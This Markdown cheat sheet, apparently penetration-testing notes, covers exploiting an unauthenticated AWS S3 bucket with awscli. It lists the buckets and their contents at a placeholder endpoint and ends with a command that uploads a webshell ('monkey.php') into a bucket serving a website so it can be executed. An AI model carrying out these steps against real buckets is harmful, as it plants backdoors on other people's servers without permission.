26 lines
617 B
Markdown
26 lines
617 B
Markdown
|
# AWS S3 Buckets
|
||
|
|
||
|
* `awscli` is the official tool
|
||
|
|
||
|
## Configuration
|
||
|
|
||
|
* An S3 bucket may not be configured to authenticte. Therefore the tool is configured with random credentials via `aws configure`
|
||
|
|
||
|
* List the endpoint via
|
||
|
```sh
|
||
|
aws --endpoint=http://s3.example.com s3 ls
|
||
|
2022-12-08 21:06:33 example.com
|
||
|
```
|
||
|
|
||
|
* List the top level domain afterwards
|
||
|
```sh
|
||
|
aws --endpoint=http://s3.example.com s3 ls s3://example.com
|
||
|
2022-12-08 21:06:33 0 .htaccess
|
||
|
2022-12-08 21:06:33 1218 index.html
|
||
|
```
|
||
|
|
||
|
* Upload a (webshell) and execute
|
||
|
```sh
|
||
|
aws --endpoint=http://s3.example.com s3 cp monkey.php s3://example.com
|
||
|
```
|